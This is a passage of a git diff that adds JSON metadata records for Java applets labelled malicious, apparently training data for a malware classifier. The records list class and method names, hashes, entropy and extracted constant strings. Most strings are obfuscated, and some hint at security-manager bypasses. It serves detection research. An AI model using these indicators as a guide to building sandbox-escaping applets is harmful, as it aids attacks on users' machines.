0, "entropy": 5.437130849697862, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 7426, "ssdeep": "96:h466FlBOnZEv7erV9PhERZQKyOZv7fhmuiCFgI5BX7JVFSopqT7pHUn54vm:wlBOneeXKRZ8Oh7fhCcf5lvpp4tUWm", "sha256": "bc5f30a03caac7544c7294cb8a7ecdeae0accc6d89003c277f5563165e9822b9", "md5": "4326541e7a5044742ec6210bd5efe2e9", "parent_sha256": "bc5f30a03caac7544c7294cb8a7ecdeae0accc6d89003c277f5563165e9822b9"}} \ No newline at end of file diff --git a/java_classification/data/malicious/bca175d40c4d9d1beba355a2a8d952e3b340a3d90bbe889d4c6a5a2c4fea3d95.results b/java_classification/data/malicious/bca175d40c4d9d1beba355a2a8d952e3b340a3d90bbe889d4c6a5a2c4fea3d95.results new file mode 100755 index 0000000..3484f25 --- /dev/null +++ b/java_classification/data/malicious/bca175d40c4d9d1beba355a2a8d952e3b340a3d90bbe889d4c6a5a2c4fea3d95.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "enudwwlhl/vpjecbjbgr", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 50, "method_names": ["udqcn", "yvmqyskum", "ajksrpudm", "", "kdhbdfh", "guwbmy", "fvtslk", "ggmgla", "fwmbgapne", "", "juufj", "ftjkfsavp", "ybcakh"], "minor_version": 0, "const_pool_count": 1075}}, "_id": "f1a92407-44e7-4a02-89fd-fc74f4eaf1e5", "verbose": {"java": {"constant strings": ["240738", "\\x1cl\\x1ac\\x1f`", "\\x10V\\x0e\\x08EX@\\n\\x11\\x0e\\x15VC\\x04D\\x19D\\x0cG\\x0e\\x10\\x19\\x1c\\x0e", "Q9Z\\'O4\\x10=X3C ", "FPDRFT", "\"] \\x103J`", "\\x05\\x05\\x07\\x1c\\x16\\x01R\\x12\\r\\r\\x07", "?\\\\3R2M/\\x1d3L%_>Z=IfI3_c@,NbJ&", "EWLUCV", "!C>M \\x184Z\\'\\x1d/\\x19,C`\\x1a4\\x19=X4L$Y=", "\\x10V\\x1e\\x0e\\x01X\\x0e\\x10\\x15\\x1a@\\x16AWL\\x07\\x1a\\x15\\x03\\r\\x15\\x08A\\x05G\\x05\\x03X\\x17R", "\\x19m\\x19f\\x1dl", "\\x14\\x06\\x06", "\\x1bfNaNgMa\\x1eg\\x1b`J7K1", "\\x19\\x15\\x12\\x02\\x17\\x11\\x02\\x1b\\x10\\xc0\\x80\\x0e\\x12\\x0e\\x18\\x13", "\\x1bgJ0KeMe\\x1be\\x1b1JlKa", "\\x15\\x10\\x05\\x1e\\x18", "\\x1blN7Mb", "\\n\\x1e\\x05\\x1a\\x0e\\x10\\x17", "\\x18fM4N1Nc\\x1bb\\x1agJ`L1", "\\x13\\x18\\x04\\x01\\t\\x18\\x19\\x1c\\n\\x12\\x0f", "\\x1alMbM3N7\\x1f6\\x1abIlLd\\x1bm\\x18cJbNlI0\\x1d1Kf\\x1b0", "\\x03\\x06\\x0f\\x1d\\t\\x03\\x10\\x07\\x0f", "\\x1bgNeNmNb\\x1e1\\x1bbI`L1\\x1ec\\x1d7\\x111M3\\x113\\x1d6L4\\x1bg", "\\x0c\\x05", "\\x1b6MlKfNc\\x1b`\\x1a0J4Le\\x1bf", "\\x19\\x04\\x05\\x03\\x01\\x1e\\x0b", "\\x1bfNfM7", "\\x07\\x01\\x08\\x1b\\x19\\x18\\x0f\\x0c\\x05\\r\\x03\\x1b\\x05\\x06\\x18", "\\x1ac", "\\x17\\x04\\x0c\\x11\\x1e\\x16\\xc0\\x80\\x08\\x07\\n\\x03\\x15", "R7Re^gB7\\\\1\\x1c#OgO1F&\\x1be", "\\xc0\\x80R\\x04\\x13\\x18U\\x1e\\r\\x03\\x17\\x13R\\x13WDS\\x05\\r\\x1c\\x06\\x03\\x08", "3Q9B8", "\\x12\\x04\\x03\\x05\\x05@\\x1a", "Qc\\x1aeM8[#_bL#Y#]6N1[7\\x1cmKc", "LW\\x05U\\x11\\x07L\\r\\x03\\x14\\x1c\\x14\\x1f\\x1a\\x12\\x08", "mJ0XfZ0\\x1e/_g@d\\x1c7\\x1d\\'\\x1d#Da[cK%Q\\'", "\\x03\\x03\\x17\\x13\\x03\\x02D\\x16GW", "!\\\\6\\x1f6\\x19\"\\x1cdZ D0Q9[;\\x1b#", "AQF\\n\\x03T", "c[/D1Q\"\\x18eJ3\\x1c8OmF%", "\\x02D\\x05\\x07\\n", "\\x1abM6M7Ma\\x1ad\\x1agI6Lc\\x1al\\x18a\\x11bM`Ia\\x1d3Kd\\x1al\\x11g\\x10eMe\\x1ba\\x186\\x1c`Im\\x1b7\\x1de\\x1deLa", "\\x02\\x02\\x08\\x07\\r\\x1d\\x18\\x06\\x15\\x15\\x18", "\\x1adN3N0Nd\\x1bc\\x1b4", "\\x02\\x12\\x02\\x18\\x06\\xc0\\x80\\x18\\x13\\x10", "\\x1blMbMgNe\\x1f7", "\\x07\\x12\\x16\\x02\\x1a\\x12", "\\x1a4N7NaMe\\x1ea\\x191I0K3\\x1a4\\x1c`\\x10gMf", "\\x06\\x1a\\x0c\\xc0\\x80\\x11\\x07\\x03\\x19\\x0e\\x13\\x19\\x1d\\x15\\x15\\x0c", "%\\x18%\\x10\\'", "\\x0b\\x01\\x12G\\r\\x05\\rB\\x1a", "3N`Eb^aN7\\\\?", "\\x16\\x15\\r\\x11BVC\\x13\\x06\\x0c\\x01S\\r\\r\\x13PG\\x08\\x0e\\n\\x12\\x08\\x03\\x10\\x15\\x13\\r\\x12", "\\x1c`Je\\x1a4I7E0\\x1c9F,", "FR\\x1a\\x03\\x17T@S\\x1cU\\xc0\\x80\\x06B\\x08\\x1eS\\x02\\x06\\x07\\x13\\x1f\\x15\\x13\\x1a\\x15\\x08E\\x12\\x05X", "/\\x1a%_%F0]2\\x19c@6M%N;B/", "P\\x16SG\\x03\\x0e\\x0b\\x04RG\\x17E\\x04\\x03\\x0c\\x07\\x08\\x19\\x17\\x06\\x07", "6\\x19 N1L9Qd\\x1ccRc", "\\x07L\\x10\\x0eX\\x17\\x19\\x11W\\x1cP", "M\\'^>", "\\x05\\x15\\x19\\x16\\x02\\x04\\x06", "\\x18cN1M0Ne\\x1b`\\x1bcJ7\\x11g\\x181\\x1db\\x10eN6", "\\x05\\x12\\x16\\x03\\x0b\\x10\\x17\\x07\\t", "\\x1amMgM4M3\\x1bl\\x1bbJ7K7\\x1be\\x1cg\\x11aJeIb\\x18`Ka\\x1ab\\x103LgN7\\x1ba\\x190\\x1dlNe\\x1bg\\x1d`\\x1d6KaIb\\x1db\\x1e`\\x1bbIaJl", "\\x1d\\x06\\x18\\x10\\x1f\\x08\\x16\\x13", "1I/M\"\\x1b6Cf\\\\7D/JbN7B\"", "\\x15\\x15\\x05\\x10\\x15\\r\\x1aB\\x08\\xc0\\x80\\x15\\x0e\\x04\\x02\\x08\\x06\\x15C\\x0e\\x18S\\x05\\x1a\\x1fTCT\\x06V", "\\x1da\\x1dc\\x18f", "\\x06P\\x16V", "\\x1fe\\x19`\\x1bb", "GP\\x11Y\\x11\\x04\\x12RCRCS\\x11YMSBTD\\x02\\x10V", "L-K \\\\\"A2O!]0Y:", "\\x03\\x1e\\x11CSE\\x14GTAW\\x06SD\\x0b", "K=I2Q!R0Z6\\x1d8\\x1e\"D8B>D!K0^c^eB,", "\\x05\\x1a\\x02\\x16\\x19\\x18\\x10\\x17\\x05\\xc0\\x80\\x10\\x05\\x07FW", "R3I7\\\\>\\x1c`", "R\\x12\\x07\\x1a\\x16\\x0eV\\x1f\\x01L\\x06\\x04P\\x15\\x03\\x11\\x1a\\x01V\\x03\\x0b\\x07T\\x02X\\x05\\x01\\x12R\\x18\\x04", "4[3", "\\x12\\x1cT\\x15W\\x1a\\x13", "\\x10\"Z7_m\\x1d,\\x1e\\'Je\\x1c=OcX0F8D9D\"XgE/", "L\\x11\\x05W\\x01V\\x06\\x11", "\\x1d%I;^4^;\\x196O4^?C?", "\\x10\\x13\\x15\\x19\\x1a\\x15\\x15F\\x19\\x01\\x13\\x1c\\x0eESD\\x08\\x19V\\x13X", "9_bO#M`\\\\6\\x1e1\\x187\\x1cfR;M#[>L4X0N?", "\\x1a\\x04\\x0c\\x17RD\\nA\\x0cGQ\\x17\\x11\\r\\x02B\\x13\\x1a\\x03\\x02\\x07", "6\\x1f/", "P\\x02Q\\x07\\x07B\\x10\\x02\\x0b", "$E\\'D3B,LdE$@0\\x1f6", "\\x15U\\x18V\\x19V\\x1eW", "[1Q1_bC2B`\\x1d/\\x1b=]`C#@`\\x1b`Jm\\x19#\\\\\"", "\\x13\\x06\\x10\\x06\\x1a\\x05WG\\x0cA\\x16\\x05R\\xc0\\x80\\x05\\x19\\x16\\r\\r\\x02\\x17\\x15\\x16\\x17\\x16\\x13\\x10", "B2M\\'F @g_0M6Q,Z\\'X,\\x1e$R6D6\\x1e;]#R\\'", "\\x18\\x14D\\x0bE\\x13\\rR\\x13\\x15\\xc0\\x80R\\x01S\\x1fT", "]3\\x1ee\\x19/L0", "\\x0e\\x1a\\x16B\\r\\x06\\x14\\x1f\\x13\\x15SE\\x12", "\"\\x10eJ!E;\\x19&\\\\9\\x1a7Eb\\x1bc]6_=", "\\x15AP\\x03\\x17\\x10Q\\x19\\x0b\\x12V\\x01UC\\x12", ";Q?[`^0\\x1c=Zg", "\\x02QDS\\x13\\x03", "%Z`Y>K;J1]?[0_\"B&F!", "YAPAS", "M2]%C=L%Yd", "DXBX\\x03Q\\x1eQ", "FfE#J/I9\\x1b`K;M;J7]b[\\'", "\\x10\\x14\\x07\\x0eD\\x11\\x06\\n\\x15\\x04BX\\x17W\\x03T", "L#\\x1e1RbB8", "C\\x15\\r\\n\\x10\\x17\\r\\x04\\x1f\\x0c\\x05\\x16\\x1f\\n\\x03R", "\\x19!Y1Q=Ka", "\\x12\\x17\\x19\\x16\\x12\\x01\\x0eG\\x1a@\\x11", "\\x18%Z>Ea\\x1b6L\"E#\\x1b2R%Ed\\x1e&D#\\x100\\\\0", "\\x02\\r\\x14L\\x16\\x18\\x08\\x03Q\\x15W", "$I,E;\\x19/M2]g\\x1d\\'", "C\\x01", "I?", "\\x02\\nE\\x11B\\x0b\\x1a\\x0e\\x0e\\x07\\x03\\x06\\x13\\x0e@\\x07D\\x10", "#\\x1ccY1\\x19b^9", "\\x04\\x01\\x1eP\\x05\\x17CU\\x06\\rA\\x19\\x02\\x14B\\x02GSLW\\x07\\x0c\\x12\\x12DP", "\\x1agNaNmNd\\x1ec\\x1bgIlKc\\x1ac\\x19gIfM7Ja\\x1c7Kd", "\\x08\\x15\\x18\\x17\\x13\\x16\\x10\\x10\\x11\\x03\\x16", "\\x1aeNbN7Km\\x1a3\\x1alJeL3\\x1b7\\x1cd\\x10gKmIe\\x1f`L6\\x1bm\\x10`\\x110N7", "\\x13\\x06\\r\\t\\x05\\x06", "2\\x1c7D\\'\\\\%[bK!@`\\x1fg\\x1e2_4^dM4Y8", "\\x04\\x08\\x1eW\\x06W\\x05U\\x1a\\x17E\\x10\\x19P\\x12S\\r\\x03\\x13\\x19C\\x1aG\\r\\xc0\\x80R", "E!@#", "\\x13\\x15@\\x06E\\x13\\x07\\x01\\rR\\x1a\\x15\\x05T\\x1f\\x12\\x0e\\x01E\\n@\\x15D\\x11\\x16\\x05\\x12\\x08", "\\x1a1N0M0M`\\x1f3\\x1b1J4\\x10c\\x193\\x1cc\\x116M6Ig\\x1d7K`\\x1aeJf\\x11lNc\\x1ba\\x197\\x1egI3\\x1a7\\x1df\\x1d7K`", "\\x07\\x1f\\x0e\\x03\\n\\x1c\\r\\x10\\r\\x0c\\x0c\\x11\\x13\\x1d\\x11", "\\x1b0McNaMd\\x1ed\\x1acIf\\x11d\\x181\\x1dc\\x11gMlJa\\x1eeLd\\x1ag\\x10e\\x107Mm", "\\xc0\\x80\\x13", "mM&\\x184E,L&]\\'", "ULSEW", "f]#\\x1b6^c\\x1cfE7\\\\8K,", "CUA\\x13\\x02\\x10\\x10\\x02G\\x16\\x19Q@\\n@\\x02\\x07\\x02\\x16\\x03", "\\x1bgMbMcN7\\x1f6\\x1bcJm\\x103\\x183\\x1d7\\x11bMl\\x103\\x1c1Lb\\x1b`\\x101\\x10aKd\\x1be\\x19m\\x1ceIb\\x1ba", "\\x18\\x06\\x06\\x1d\\t\\x17\\x0f\\x19\\x19\\r\\r\\x17\\x14", "\\x1aeN7MdNd\\x1fc\\x1blJ0La\\x1bg\\x183I7N4I`\\x1c4Lc\\x1af", "\\n\\x1a\\x01\\x17\\x03\\x1d\\x07\\x02\\x05", "\\x1al\\x18l\\x11f", "\\x05W\\x16\\x0cC\\x02", "\\x1f2_d_#\\x104", "FVDXEX", "\\x1d\\'\\\\,Fd\\x1ag\\x1d&\\x18?\\x1c\"Md\\x1b9C`Z$\\x10dL7", "\\x12\\x17\\x12\\x1a\\n\\x02S", "mDe\\x1af_4^?\\\\ F`I?N\"\\x1bfC7B?Y&", "\\x01G\\x16\\x02\\x17\\x15X\\x18P\\x18\\x05\\x03\\x08@\\x17\\x16\\x0c\\x11\\x0cA\\x17L\\x07\\xc0\\x80\\x17\\x16\\r", "\\x1ee\\x19a\\x1el", "B\\x16FVLX\\x12\\x1aE\\r\\x13\\x08\\x0e\\x05\\x10\\x14\\x17\\r\\x11\\x11A\\x16G\\x12G\\x11", "F\"K$N0Df\\x197J`", "\\x03\\rU", "fO\\'B#\\x1b7Fb\\x10#\\x18fYgR`B\"\\x19$", "\\x0e\\x01S@\\x19L\\x08\\x15U", "\"C%\\x1e$\\x19,[b", "\\x06\\x03\\xc0\\x80R\\x17\\x14F\\x16\\x04\\x02\\x04RE\\x15", "gQd\\x1f/E&Y$Eb@/K?\\\\bMcI/@=Z\"Nc", "\\r\\x17\\x18\\x17\\x03\\x07\\x19\\x03\\x12\\x07\\x03\\x19E\\x02ES\\x12\\x16", "\\x1e,\\x1d8\\x19%X`B2", "BRB\\r", "\\x1bbN`MdMc", "\\x05\\x10\\x16\\x05\\x13\\x1f\\x01\\x12\\x18", "\\x1c4F9\\x10$L2", "\\x12\\x02\\x18R\\x11\\x07GVE\\x04\\x02\\x0c@\\x14\\x1a\\x07AW\\x19\\x10\\x1fXGU\\x17\\x0c\\x17\\x13A\\x11\\x0e\\x01", "McJ\\'\\\\ X4Q#\\x1b3I;ZcD$@>R!Cd\\x1a4E3", "DS\\x04\\x17\\x10\\x10F\\x01\\x12\\x05", "0\\x1a3JcC2Qb@%\\x1f`\\x1e;I6R F`J,Em", "\\x10\\r\\x1aA\\x12B\\x17\\x18\\x0eCW\\x17\\x03", "Z\\'M#B2Xb\\x1e4I=\\\\#\\x1a&\\x10e\\x196\\x18aL;Og", "AXAPGT", "6F4Qg\\x1cf\\x1e2^>\\x1fmIb@6\\x1d=]0", "\\x0e\\x10\\x13U", "\\x186O7\\x193\\x18`IaL \\x1b\"RaXd_ ", "\\x04\\r\\x0bD\\x16\\x18\\x10\\x15\\n\\x1f\\x17\\x18\\x15\\r\\x14", "\\x1b4MgM1M`\\x1a7", "\\x19\\x04\\x06\\x02\\x01\\x0e\\x03\\x01\\xc0\\x80\\x10\\x1f\\x03\\x06\\x15", "\\\\mM%[a_`\\x10%\\x1b&\\x10gZ;C3Z7LdD&\\\\4\\x1d2D;C,", "\\x11\\r\\x19\\x01B\\x0c", "6D:[0", "@XMTMT", "J \\x1b\"\\x1f&L1K6", "\\x06\\x06Q\\x13\\x0e\\x02\\x11", "\\x19m\\x11l\\x18m", "GR\\x11W\\x11V\\x12\\x02C\\x03GV\\x16XL\\x06D\\x06A\\x02MW\\x11YL\\x06@\\x04\\x10WGUL\\x04LT\\x17QGPEX@P\\x15WGT", "-Z3AM%L;A=A2]%L?", "AQ\\x0e\\x05G\\x11\\x06W\\xc0\\x80\\x0c\\x19\\x03\\x11\\x06\\r\\x0b\\x02\\x08\\x1f\\x0c\\x07P\\x13Q", "\\x1ac\\x1em\\x1ac", "\\x15\\x08\\x1e\\x05\\x15\\x08\\x11\\x15\\x10\\x0e\\x11Q\\x03\\x19\\r\\x0cG\\x08\\x11P\\x18\\x12\\x1a\\n\\x06V\\x04\\x10\\x06\\x05", "&D\"C;", "\\x07\\r\\x15\\x01\\x14\\x05\\n\\x16X", "\\x1df\\x18e\\x1fa", "\\x13Q@W\\r\\x1a\\x1a\\x0cAP\\r\\x16\\x16X\\x11\\x03\\x13\\r\\x15\\x08B\\x0c\\x1aW", "I>N1Z8\\x1d4[6K0\\x1a2B,R,", "\\x19\\x10\\x1e\\x12", "`\\x1d6L%\\x1a#Y\\'IeL2X4Y JfE&B6J2Na\\x1b0", "\\x05L\\n\\r\\nE\\x05\\x1a\\x12\\x1cUG\\x1a\\x06\\x0eBR\\x06U\\x18\\x07\\rUC\\x1aC\\x01", "Q;K3", "\\x12\\xc0\\x80\\x19\\x15\\x06\\x07\\x04B\\x08\\x11V\\x15\\x17F\\x0e\\xc0\\x80U\\x16\\r@\\r\\x03\\rC\\x05", ",@a", "\\x12G\\x17EUGP\\x04UAUBQ\\x07\\x14\\x12\\x07\\x11\\x06\\x17\\x10", "J7@\\'B7[b]aN9OdF8", "@\\x07\\x15\\x11E\\x10G\\x1a\\x1f\\x16\\x02\\x16F\\x14\\x19\\x08\\x1eU", "Y%Od_$\\x196E7N&_\\'Z8D/]8\\x1db", "\\x18P\\x16\\x06B\\x10GP", "\\x1d`\\x10b\\x1a`", "T\\x04\\x12L\\x08\\x0e\\x17\\x1eT\\x13\\n\\x1c\\x14\\x16T\\x1e\\x04\\x02\\x07D\\x08", "7\\x1b2\\x1de", "EPAWBW", "7Q3O6R;\\x19g\\x10\\'X6M`E8\\x1eaKcC;@?\\x182I`", "\\xc0\\x80\\x1a\\x16\\x08", "KaFbJf\\x1e8K=F2D6\\\\\\'D\\'", "BP\\x16\\x04\\x15X\\x16QB\\x02CP\\x11\\x04MPBREWM\\x01\\x12\\x06\\x15RAT\\x17\\x03FYLWMU", "%P9Y1Q6C?M8Z ", "F\\x03\\x12Y\\x12W\\x11\\x04FTF\\x01\\x15R\\x10YFVASMW\\x11Y\\x16Y@S\\x17SG\\x03LRMQ", "0O?Z\\'P ", "\\x18\\x0cL\\x01\\x07\\x02\\x1f\\rBP\\x12\\x14\\x05PF\\x0c\\x10\\x01\\xc0\\x80\\x0b\\x10S\\xc0\\x80\\x13", "`LeD\\'\\x1a1\\x1e2D`@\"^aF=[=^4\\x1c6QgY=Y\"K%", "\\x11\\x1f\\x07\\x01\\x06", "4\\x1e/J/\\x19,E\\'Q?L=L2\\x1c$]aQ4\\x1b,", "FTCTDY", "!X0\\x1c7F1\\x1e?I\"\\x1e3]=OmR Qg_g", "@SCTDV", "!\\x19\\'@ E9[b\\\\1\\x1b=\\x1c;\\\\fB?", "\\x0bE\\x17B\\x02", "/\\x1d>\\x198\\x19eB%\\x109\\\\fI8\\x1a&FaM?Re", "\\x17A\\x07\\x16\\x05\\x05\\x0e", "?L\\'@c\\x1eb\\x10eI8N3C;\\x10#I8I,\\x1f$J8@ X9", "\\x15\\x02RFT", "\\'[%OmR2", "\\nB\\x17\\x1f\\x1aLS\\x12\\x15\\x16Q\\x17\\r\\x05\\x05\\x0e\\x10\\x0eS", "\\'\\x1c%ZeM`_`RmYfQbX?", "\\x18\\x10\\x05\\x01\\x17P\\x13\\x01\\x11\\x03E\\x0b\\x13\\x10FR", " \\x104[/K&[8^c\\x1b`Z#\\x10mR=J/C/", "RAW\\x12Q\\x06\\x15L\\x06\\x04\\x03D\\x10\\x01\\x05G\\x0c", "D,\\x1da^/R9\\x1d`F?\\\\g", "\\x04X\\x19REX\\x1f\\x04\\x17\\x12", "\\'Z;\\x100Ld", "FY\\x11W\\x11\\x06\\x12\\x02C\\x03FW\\x15Y\\x10QGXDV\\x16W\\x12Y\\x15\\x05A\\x04\\x17SG\\x05", "6Z:A<_%[:", "FS\\x11X\\x12V\\x17\\x06GPGR\\x16\\x03\\x17\\x03GV@\\x01M\\x05", "L,\\\\9Q4\\\\0\\\\ Y1]>", "FP\\x11\\x04\\x12T\\x12XB\\x04FQ\\x16\\x04M\\x01GP@\\x03M\\x05", "?P!", "F\\x04\\x12\\x06\\x11\\x06", "Y,P0", "\\x1fV\\xc0\\x80\\x16", "MbEa\\x19&Z2X&Q6\\x194\\x18`@0D2F3@eN0", "V\\x17\\x16\\x17\\x16\\x10\\x05\\x13Q", "\\x1fcMcM1M0", "\\x18\\x03\\x03\\x0c\\x10\\r\\x05\\x16\\x05\\r\\x0b\\x05\\x12", "Je[ X;", "WGT\\x1fT", "O9X=\\x1d6J3\\x1a#\\x10&[#^;Z0\\x1f>", "\\x07G\\x01\\x04\\x19B\\x11\\x1f\\x05\\x06\\x06"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "42e82410fc84c70081a3dfc8aef9e07a80955ef3", "file_name": "java_malicious/bca175d40c4d9d1beba355a2a8d952e3b340a3d90bbe889d4c6a5a2c4fea3d95", "_id": "f1a92407-44e7-4a02-89fd-fc74f4eaf1e5", "score": 0, "entropy": 6.470161548389562, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 18656, "ssdeep": "384:RCEaetwGg0/W+q+/nl3JnFXNnHx8kY9t0bpX7/Rr7PdR:RCEaetwb0/6Anl3JnFXNnHx8kPpXrtDT", "sha256": "bca175d40c4d9d1beba355a2a8d952e3b340a3d90bbe889d4c6a5a2c4fea3d95", "md5": "11de1af4d0ac7d2fd3a0cbf5810c4484", "parent_sha256": "bca175d40c4d9d1beba355a2a8d952e3b340a3d90bbe889d4c6a5a2c4fea3d95"}} \ No newline at end of file diff --git a/java_classification/data/malicious/bd07aa84808b8ddcd87bdd856d40d0106a508391bb5a5c191ac3d5e14f9967be.results b/java_classification/data/malicious/bd07aa84808b8ddcd87bdd856d40d0106a508391bb5a5c191ac3d5e14f9967be.results new file mode 100755 index 0000000..33e87ea --- /dev/null +++ b/java_classification/data/malicious/bd07aa84808b8ddcd87bdd856d40d0106a508391bb5a5c191ac3d5e14f9967be.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "RunString", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/lang/Runnable"], "sourcefile": "RunString.java", "method_names": ["stop", "", "init", "assembleStringParams", "parseString", "hex2rgb", "assignMoreParams", "initColors", "paint", "update", "run", "mouseEntered", "mouseExited", "mousePressed", "mouseReleased", "mouseClicked", "mouseMoved", "mouseDragged", ""], "minor_version": 3, "const_pool_count": 587}}, "_id": "aa4582a6-31af-4e7c-85c2-7455b8a2e83f", "verbose": {"java": {"constant strings": ["", "Magic", "com.ms.security.PermissionSet", "doit", "Colors", "Serif", "fontface", "fontstyle", "bold", "italic", "italicbold", "fontsize", "delim", "s", "_null", "null", "backcolor", "fontcolor", "linkcolor", "fade", "speed", "handlinkcursor", "yes", "no", "drag", "stoponmouseover", "stoponmousepressed", " URL not found : "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8f7abef8597d65a044b0fa85be4244be15b33983", "file_name": "java_malicious/bd07aa84808b8ddcd87bdd856d40d0106a508391bb5a5c191ac3d5e14f9967be", "_id": "aa4582a6-31af-4e7c-85c2-7455b8a2e83f", "score": 0, "entropy": 5.8245458228104, "libmagic": "compiled Java class data, version 45.3", "file_size": 36121, "ssdeep": "768:XSm4NnmDSMuXjoZ5vYb3k0tVaz/A7619UG6GIs0IeVYZZB:XSmCwyiKaz/Vx6GI9VYZZB", "sha256": "bd07aa84808b8ddcd87bdd856d40d0106a508391bb5a5c191ac3d5e14f9967be", "md5": "70975f691dadbac92b724a899a5c9419", "parent_sha256": "bd07aa84808b8ddcd87bdd856d40d0106a508391bb5a5c191ac3d5e14f9967be"}} \ No newline at end of file diff --git a/java_classification/data/malicious/bda214577ae2c5337d60d1ce0954e7c626bdfda7b7f31bce2ff7f884e31febb3.results b/java_classification/data/malicious/bda214577ae2c5337d60d1ce0954e7c626bdfda7b7f31bce2ff7f884e31febb3.results new file mode 100755 index 0000000..0bb7b0d --- /dev/null +++ b/java_classification/data/malicious/bda214577ae2c5337d60d1ce0954e7c626bdfda7b7f31bce2ff7f884e31febb3.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Am.java", "class_name": "like/Am", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "init", "bond", "siknad", "gogland", "wiwiwi"], "minor_version": 0, "const_pool_count": 141}}, "_id": "b9306e3a-8a76-47c6-8d25-f4fd618b8a2a", "verbose": {"java": {"constant strings": ["oregjoergjpergijperjigpeirjpgierjpgijer", "java.version", "[\\\\D]", "", "usoskasoslnarl", "soskasoslna", "setSecurityManager"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "2347e47b5f77e88a353b2a86f1da800def99fe45", "file_name": "java_malicious/bda214577ae2c5337d60d1ce0954e7c626bdfda7b7f31bce2ff7f884e31febb3", "_id": "b9306e3a-8a76-47c6-8d25-f4fd618b8a2a", "score": 0, "entropy": 5.447242067643822, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2546, "ssdeep": "48:Isy8kAltN6dNKOEas7MWW7Hea3HJKEHdVA431IM:It8kAlf4CqyEHdVAxM", "sha256": "bda214577ae2c5337d60d1ce0954e7c626bdfda7b7f31bce2ff7f884e31febb3", "md5": "dac133f53220d02ace009b5282fa59ee", "parent_sha256": "bda214577ae2c5337d60d1ce0954e7c626bdfda7b7f31bce2ff7f884e31febb3"}} \ No newline at end of file diff --git a/java_classification/data/malicious/bdc9c81b7a3b0f2ecd1c247a9fe75a8a74c013f02284b24398fce944a8b26314.results b/java_classification/data/malicious/bdc9c81b7a3b0f2ecd1c247a9fe75a8a74c013f02284b24398fce944a8b26314.results new file mode 100755 index 0000000..05f0b33 --- /dev/null +++ b/java_classification/data/malicious/bdc9c81b7a3b0f2ecd1c247a9fe75a8a74c013f02284b24398fce944a8b26314.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/cvxriewmms", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "ioonqygk", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "139a920e-ed86-4261-818a-6d8231696a88", "metadata": {"mimetype": "application/x-java-applet", "sha1": "aed8fbb6d234287fce9dd46c6364cb77943da1df", "file_name": "java_malicious/bdc9c81b7a3b0f2ecd1c247a9fe75a8a74c013f02284b24398fce944a8b26314", "_id": "139a920e-ed86-4261-818a-6d8231696a88", "score": 0, "entropy": 5.223771578910193, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 7021, "ssdeep": "96:KMHslXaGyN1kU4nyMB+EBwyo8p12Yxhni/mmNxlo55ooDy4IYwa5oYp55IX1:ToavU2URqyp1xhi/To55UTYwa5hGX1", "sha256": "bdc9c81b7a3b0f2ecd1c247a9fe75a8a74c013f02284b24398fce944a8b26314", "md5": "f2e11241ad03e09a959253f9d89849aa", "parent_sha256": "bdc9c81b7a3b0f2ecd1c247a9fe75a8a74c013f02284b24398fce944a8b26314"}} \ No newline at end of file diff --git a/java_classification/data/malicious/bdcf7bbef2383e991871052ae098460777f200f18a9f618d01c47024da4a00e0.results b/java_classification/data/malicious/bdcf7bbef2383e991871052ae098460777f200f18a9f618d01c47024da4a00e0.results new file mode 100755 index 0000000..8ab31ec --- /dev/null +++ b/java_classification/data/malicious/bdcf7bbef2383e991871052ae098460777f200f18a9f618d01c47024da4a00e0.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "puvUPhn.java", "class_name": "puvUPhn", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "", "PvmogAO", "oheltg"], "minor_version": 0, "const_pool_count": 169}}, "_id": "5c031f1c-f119-4047-ab1c-a294cb5e38e4", "verbose": {"java": {"constant strings": ["\\x05\\x13\\x02%\\x13\\x15\\x03\\x04\\x1f\\x02\\x0f;\\x17\\x18\\x17\\x11\\x13\\x04", "\\x1c\\x17\\xc0\\x80\\x17X\\x17\\x01\\x02X\\x1f\\x1b\\x17\\x11\\x13X2\\x17\\x02\\x174\\x03\\x10\\x10\\x13\\x044\\x0f\\x02\\x13", "\\x02\\x04\\x02\\x04", "\\xc0\\x80\\x11\\x02\\x03\\x12\\x05\\x17", "\\x05\\x13\\x023\\x1a\\x13\\x1b", "\\x1f\\x18\\x02\\x1f\\x18\\x02", "\\x1c\\x17\\xc0\\x80\\x17X\\x17\\x01\\x02X\\x1f\\x1b\\x17\\x11\\x13X2\\x17\\x02\\x174\\x03\\x10\\x10\\x13\\x04", "\"/&3)4/\"3", "\\x1c\\x17\\xc0\\x80\\x17X\\x17\\x01\\x02X\\x1f\\x1b\\x17\\x11\\x13X;\\x03\\x1a\\x02\\x1f&\\x1f\\x0e\\x13\\x1a&\\x17\\x15\\x1d\\x13\\x12%\\x17\\x1b\\x06\\x1a\\x13;\\x19\\x12\\x13\\x1a", "\\x1c\\x17\\xc0\\x80\\x17X\\x17\\x01\\x02X\\x1f\\x1b\\x17\\x11\\x13X$\\x17\\x05\\x02\\x13\\x04", "\\x15\\x04\\x13\\x17\\x02\\x13!\\x04\\x1f\\x02\\x17\\x14\\x1a\\x13$\\x17\\x05\\x02\\x13\\x04", 